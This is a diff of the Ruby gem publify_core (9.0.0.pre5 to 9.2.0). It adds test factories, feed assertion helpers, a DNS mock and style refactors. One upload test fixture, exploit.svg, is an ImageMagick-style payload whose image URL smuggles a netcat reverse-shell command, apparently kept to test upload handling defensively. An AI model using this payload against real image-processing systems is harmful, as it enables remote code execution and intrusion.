publify_core 9.0.0.pre5 → 9.2.0

data/lib/publify_core/lang.rb

@@ -1,5 +1,9 @@
+# frozen_string_literal: true
+
 module PublifyCore
   module Lang
-    LIST = [:da_DK, :de_DE, :en_US, :es_MX, :fr_FR, :he_IL, :it_IT, :ja_JP, :lt_LT, :nb_NO, :nl_NL, :pl_PL, :ro_RO, :ru_RU, :zh_TW, :zh_CN, :pt_BR].freeze
+    LIST = [:da_DK, :de_DE, :en_US, :es_MX, :fr_FR, :he_IL, :it_IT, :ja_JP,
+            :lt_LT, :nb_NO, :nl_NL, :pl_PL, :ro_RO, :ru_RU, :zh_TW, :zh_CN,
+            :pt_BR].freeze
   end
 end

data/lib/publify_core/testing_support/dns_mock.rb

@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class IPSocket
+  def self.getaddress(host)
+    case host
+    when "buy-computer.us.bsb.empty.us", "chinaaircatering.com.bsb.empty.us",
+      "206.230.42.212.opm.blitzed.us", "207.230.42.212.opm.blitzed.us"
+      "127.0.0.2"
+    when "bofh.org.uk.multi.surbl.org", "www.bofh.org.uk.multi.surbl.org"
+      "10.10.10.10"
+    else
+      raise SocketError, "getaddrinfo: Name or service not known"
+    end
+  end
+end

data/lib/publify_core/testing_support/factories.rb

@@ -0,0 +1,240 @@
+# frozen_string_literal: true
+
+require "publify_core/testing_support/upload_fixtures"
+
+# Factory definitions
+FactoryBot.define do
+  sequence(:name) { |n| "name_#{n}" }
+  sequence(:body) { |n| "body #{n}" * (n + 3 % 5) }
+  sequence(:user) { |n| "user#{n}" }
+  sequence(:email) { |n| "user#{n}@example.com" }
+  sequence(:guid) { |n| "deadbeef#{n}" }
+  sequence(:label) { |n| "lab_#{n}" }
+  sequence(:file_name) { |f| "file_name_#{f}" }
+  sequence(:time) { |n| Time.new(2012, 3, 26, 19, 56).in_time_zone - n }
+
+  factory :user do
+    login { FactoryBot.generate(:user) }
+    email { generate(:email) }
+    name { "Bond" }
+    nickname { "James Bond" }
+    notify_via_email { false }
+    notify_on_new_articles { false }
+    notify_on_comments { false }
+    password { "top-secret" }
+    state { "active" }
+    profile { User::CONTRIBUTOR }
+
+    trait :without_twitter do
+      twitter { nil }
+      association :resource, nil
+    end
+
+    trait :with_a_full_profile do
+      description { "I am a poor lonesone factory generated user" }
+      url { "http://myblog.net" }
+      msn { "random@mail.com" }
+      aim { "randomaccount" }
+      yahoo { "anotherrandomaccount" }
+      twitter { "@random" }
+      jabber { "random@account.com" }
+    end
+
+    trait :as_admin do
+      profile { User::ADMIN }
+    end
+
+    trait :as_publisher do
+      profile { User::PUBLISHER }
+    end
+
+    trait :as_contributor do
+      profile { User::CONTRIBUTOR }
+    end
+  end
+
+  factory :article do
+    title { "A big article" }
+    body { "A content with several data" }
+    extended { "extended content for fun" }
+    guid
+    published_at { Time.zone.now }
+    user
+    allow_comments { true }
+    state { :published }
+    allow_pings { true }
+    text_filter_name { "markdown" }
+
+    after :build do |article|
+      article.blog ||= Blog.first || create(:blog)
+    end
+
+    after :stub do |article|
+      article.blog ||= Blog.first || create(:blog)
+    end
+
+    trait :with_tags do
+      keywords { "a tag" }
+    end
+  end
+
+  factory :unpublished_article, parent: :article do
+    published_at { nil }
+    state { :draft }
+  end
+
+  factory :full_article, parent: :article do
+    after :create do |article|
+      article.resources << create(:resource)
+      article.tags << create(:tag)
+    end
+  end
+
+  factory :content do
+    blog { Blog.first || create(:blog) }
+  end
+
+  factory :post_type do
+    name { "foobar" }
+    description { "Some description" }
+  end
+
+  factory :utf8article, parent: :article do
+    title { "ルビー" }
+    permalink { "ルビー" }
+  end
+
+  factory :second_article, parent: :article do
+    title { "Another big article" }
+  end
+
+  factory :article_with_accent_in_html, parent: :article do
+    title { "article with accent" }
+    body { "&eacute;coute The future is cool!" }
+    permalink { "article-with-accent" }
+  end
+
+  factory :blog do
+    base_url { "http://test.host/blog" }
+    hide_extended_on_rss { true }
+    blog_name { "test blog" }
+    limit_article_display { 2 }
+    sp_url_limit { 3 }
+    plugin_avatar { "" }
+    blog_subtitle { "test subtitle" }
+    limit_rss_display { 10 }
+    geourl_location { "" }
+    default_allow_pings { false }
+    send_outbound_pings { false }
+    sp_global { true }
+    default_allow_comments { true }
+    email_from { "scott@sigkill.org" }
+    sp_article_auto_close { 0 }
+    permalink_format { "/%year%/%month%/%day%/%title%" }
+    rss_description_text { "rss description text" }
+    lang { "en_US" }
+  end
+
+  factory :tag do |tag|
+    tag.name { FactoryBot.generate(:name) }
+    tag.display_name { |a| a.name } # rubocop:disable Style/SymbolProc
+    blog { Blog.first || create(:blog) }
+  end
+
+  factory :resource do
+    upload { PublifyCore::TestingSupport::UploadFixtures.file_upload }
+    mime { "image/jpeg" }
+    size { 110 }
+    blog { Blog.first || create(:blog) }
+  end
+
+  factory :avatar, parent: :resource do
+    upload { "avatar.jpg" }
+    mime { "image/jpeg" }
+    size { 600 }
+  end
+
+  factory :redirect do
+    from_path { "foo/bar" }
+    to_path { "/someplace/else" }
+    blog { Blog.first || create(:blog) }
+  end
+
+  factory :comment do
+    article
+    author { "Bob Foo" }
+    url { "http://fakeurl.com" }
+    body { "Comment body" }
+    guid
+    state { "ham" }
+
+    factory :unconfirmed_comment do
+      state { "presumed_ham" }
+    end
+
+    factory :published_comment do
+      state { "ham" }
+    end
+
+    factory :not_published_comment do
+      state { "spam" }
+    end
+
+    factory :ham_comment do
+      state { "ham" }
+    end
+
+    factory :presumed_ham_comment do
+      state { "presumed_ham" }
+    end
+
+    factory :presumed_spam_comment do
+      state { "presumed_spam" }
+    end
+
+    factory :spam_comment do
+      state { "spam" }
+    end
+  end
+
+  factory :page do
+    name { FactoryBot.generate(:name) }
+    title { "Page One Title" }
+    body { FactoryBot.generate(:body) }
+    published_at { Time.zone.now }
+    user
+    blog { Blog.first || create(:blog) }
+    state { "published" }
+  end
+
+  factory :note do
+    body { "this is a note" }
+    published_at { Time.zone.now }
+    user
+    state { "published" }
+    text_filter_name { "markdown" }
+    guid
+    blog { Blog.first || create(:blog) }
+  end
+
+  factory :unpublished_note, parent: :note do
+    state { "draft" }
+  end
+
+  factory :trackback do
+    state { "ham" }
+    article
+    blog_name { "Trackback Blog" }
+    title { "Trackback Entry" }
+    url { "http://www.example.com" }
+    excerpt { "This is an excerpt" }
+    guid { "dsafsadffsdsf" }
+  end
+
+  factory :sidebar do
+    active_position { 1 }
+    config { { "title" => "Links", "body" => "some links" } }
+    type { "StaticSidebar" }
+    blog { Blog.first || create(:blog) }
+  end
+end

data/lib/publify_core/testing_support/feed_assertions.rb

@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require "feedjira"
+require "rexml/document"
+
+module PublifyCore
+  module TestingSupport
+    module FeedAssertions
+      # TODO: Clean up use of these Test::Unit style expectations
+      def assert_xml(xml)
+        expect(xml).not_to be_empty
+        expect do
+          assert REXML::Document.new(xml)
+        end.not_to raise_error
+      end
+
+      def assert_atom10(feed, count)
+        parsed_feed = Feedjira.parse(feed)
+        assert_atom10_feed parsed_feed, count
+      end
+
+      def assert_atom10_feed(parsed_feed, count)
+        expect(parsed_feed).to be_instance_of Feedjira::Parser::Atom
+        expect(parsed_feed.title).not_to be_nil
+        expect(parsed_feed.entries.count).to eq count
+      end
+
+      def assert_correct_atom_generator(feed)
+        xml = Nokogiri::XML.parse(feed)
+        generator = xml.css("generator").first
+        expect(generator.content).to eq("Publify")
+        expect(generator["version"]).to eq(PublifyCore::VERSION)
+      end
+
+      def assert_rss20(feed, count)
+        parsed_feed = Feedjira.parse(feed)
+        assert_rss20_feed parsed_feed, count
+      end
+
+      def assert_rss20_feed(parsed_feed, count)
+        expect(parsed_feed).to be_instance_of Feedjira::Parser::RSS
+        expect(parsed_feed.version).to eq "2.0"
+        expect(parsed_feed.title).not_to be_nil
+        expect(parsed_feed.entries.count).to eq count
+      end
+    end
+  end
+end

data/lib/publify_core/testing_support/fixtures/exploit.svg

@@ -0,0 +1,4 @@
+push graphic-context
+viewbox 0 0 640 480
+image over 0,0 0,0 'https://trololo.com" || nc -nv 127.0.0.1 8081 -e /bin/bash"'
+pop graphic-context

data/lib/publify_core/testing_support/fixtures/fakepng.png

@@ -0,0 +1 @@
+This is not really a PNG

data/lib/publify_core/testing_support/fixtures/otherfile.txt

@@ -0,0 +1 @@
+fifi

data/lib/publify_core/testing_support/fixtures/testfile.txt

@@ -0,0 +1 @@
+pipo

data/lib/publify_core/testing_support/upload_fixtures.rb

@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module PublifyCore
+  module TestingSupport
+    module UploadFixtures
+      module_function
+
+      # Provide file upload helper for all specs
+      def file_upload(file = "testfile.txt", mime_type = "text/plain")
+        Rack::Test::UploadedFile.new(File.join(__dir__, "fixtures", file),
+                                     mime_type)
+      end
+    end
+  end
+end

data/lib/publify_core/version.rb

@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module PublifyCore
-  VERSION = '9.0.0.pre5'
+  VERSION = "9.2.0"
 end

data/lib/publify_guid.rb

@@ -1,8 +1,10 @@
-require 'uuidtools'
+# frozen_string_literal: true
+
+require "uuidtools"
 
 module PublifyGuid
   def create_guid
-    return true unless guid.blank?
+    return true if guid.present?
 
     self.guid = UUIDTools::UUID.random_create.to_s
   end

data/lib/publify_plugins.rb

@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module PublifyPlugins
   # Deprecated?
   def plugin_public_action(action)
@@ -20,7 +22,9 @@ module PublifyPlugins
     eval "def self.display_name; '#{name}'; end"
   end
 
-  unless defined?(Keeper) # Something in rails double require this module. Prevent that to keep @@registered integrity
+  # FIXME: Something in rails double require this module. Prevent that to keep
+  # @@registered integrity
+  unless defined?(Keeper)
     class Keeper
       KINDS = [:avatar, :textfilter].freeze
       @@registered = {}
@@ -28,6 +32,7 @@ module PublifyPlugins
       class << self
         def available_plugins(kind = nil)
           return @@registered.inspect unless kind
+
           check_kind(kind)
           @@registered[kind] || []
         end
@@ -45,7 +50,7 @@ module PublifyPlugins
         def check_kind(kind)
           unless KINDS.include?(kind)
             raise ArgumentError,
-                  "#{kind} is not part of available plugin targets (#{KINDS.join(',')})"
+                  "#{kind} is not part of available plugin targets (#{KINDS.join(",")})"
           end
         end
       end
@@ -53,15 +58,15 @@ module PublifyPlugins
       private
 
       def initialize
-        raise 'No instance allowed.'
+        raise "No instance allowed."
       end
     end
   end # Defined
 
   class Base
     class << self
-      attr_accessor :name
-      attr_accessor :description
+      attr_accessor :name, :description
+
       attr_reader :registered
 
       def kind

data/lib/publify_textfilter_markdown.rb

@@ -1,42 +1,55 @@
-require 'text_filter_plugin'
-require 'bluecloth'
+# frozen_string_literal: true
+
+require "text_filter_plugin"
+require "bluecloth"
 
 # TODO: Move to a different namespace
 class PublifyApp
   class Textfilter
     class Markdown < TextFilterPlugin::Markup
-      plugin_display_name 'Markdown'
-      plugin_description 'Markdown markup language from <a href="http://daringfireball.com/">Daring Fireball</a>'
+      plugin_display_name "Markdown"
+      plugin_description "Markdown markup language from" \
+        ' <a href="http://daringfireball.com/">Daring Fireball</a>'
 
       def self.help_text
-        %{
-[Markdown](http://daringfireball.net/projects/markdown/) is a simple text-to-HTML converter that
-turns common text idioms into HTML.  The [full syntax](http://daringfireball.net/projects/markdown/syntax)
-is available from the author's site, but here's a short summary:
-
-* **Paragraphs**: Start a new paragraph by skipping a line.
-* **Italics**: Put text in *italics* by enclosing it in either \* or \_: `*italics*` turns into *italics*.
-* **Bold**: Put text in **bold** by enclosing it in two \*s: `**bold**` turns into **bold**.
-* **Pre-formatted text**: Enclosing a short block of text in backquotes (&#96;) displays it in a monospaced font
-  and converts HTML metacharacters so they display correctly.  Example: &#96;`<img src="foo"/>`&#96; displays as `<img src="foo"/>`.
-  Also, any paragraph indented 4 or more spaces is treated as pre-formatted text.
-* **Block quotes**: Any paragraph (or line) that starts with a `>` is treated as a blockquote.
-* **Hyperlinks**: You can create links like this: `[amazon's web site](http://www.amazon.com)`.  That produces
-  "[amazon's web site](http://www.amazon.com)".
-* **Lists**: You can create numbered or bulleted lists by ending a paragraph with a colon (:), skipping a line, and then using
-  asterisks (*, for bullets) or numbers (for numbered lists).  See the
-  [Markdown syntax page](http://daringfireball.net/projects/markdown/syntax) for examples.
-* **Raw HTML**: Markdown will pass raw HTML through unchanged, so you can use HTML's syntax whenever Markdown doesn't provide
-  a reasonable alternative.
+        <<~TXT
+          [Markdown](http://daringfireball.net/projects/markdown/) is a simple
+          text-to-HTML converter that turns common text idioms into HTML.  The
+          [full syntax](http://daringfireball.net/projects/markdown/syntax) is
+          available from the author's site, but here's a short summary:
 
-        }
+          * **Paragraphs**: Start a new paragraph by skipping a line.
+          * **Italics**: Put text in *italics* by enclosing it in either \* or
+            \_: `*italics*` turns into *italics*.
+          * **Bold**: Put text in **bold** by enclosing it in two \*s:
+            `**bold**` turns into **bold**.
+          * **Pre-formatted text**: Enclosing a short block of text in
+            backquotes (&#96;) displays it in a monospaced font and converts HTML
+            metacharacters so they display correctly.  Example:
+            &#96;`<img src="foo"/>`&#96; displays as `<img src="foo"/>`. Also,
+            any paragraph indented 4 or more spaces is treated as pre-formatted
+            text.
+          * **Block quotes**: Any paragraph (or line) that starts with a `>` is
+            treated as a blockquote.
+          * **Hyperlinks**: You can create links like this:
+            `[amazon's web site](http://www.amazon.com)`. That produces
+            "[amazon's web site](http://www.amazon.com)".
+          * **Lists**: You can create numbered or bulleted lists by ending a
+            paragraph with a colon (:), skipping a line, and then using asterisks
+            (*, for bullets) or numbers (for numbered lists).  See the
+            [Markdown syntax page](http://daringfireball.net/projects/markdown/syntax)
+            for examples.
+          * **Raw HTML**: Markdown will pass raw HTML through unchanged, so you
+            can use HTML's syntax whenever Markdown doesn't provide a reasonable
+            alternative.
+        TXT
       end
 
       def self.filtertext(text)
         # FIXME: Workaround for BlueCloth not interpreting <publify:foo> as an
         # HTML tag. See <http://deveiate.org/projects/BlueCloth/ticket/70>.
         escaped_macros = text.gsub(%r{(</?publify):}, '\1X')
-        html = BlueCloth.new(escaped_macros).to_html.gsub(%r{</?notextile>}, '')
+        html = BlueCloth.new(escaped_macros).to_html.gsub(%r{</?notextile>}, "")
         html.gsub(%r{(</?publify)X}, '\1:')
       end
     end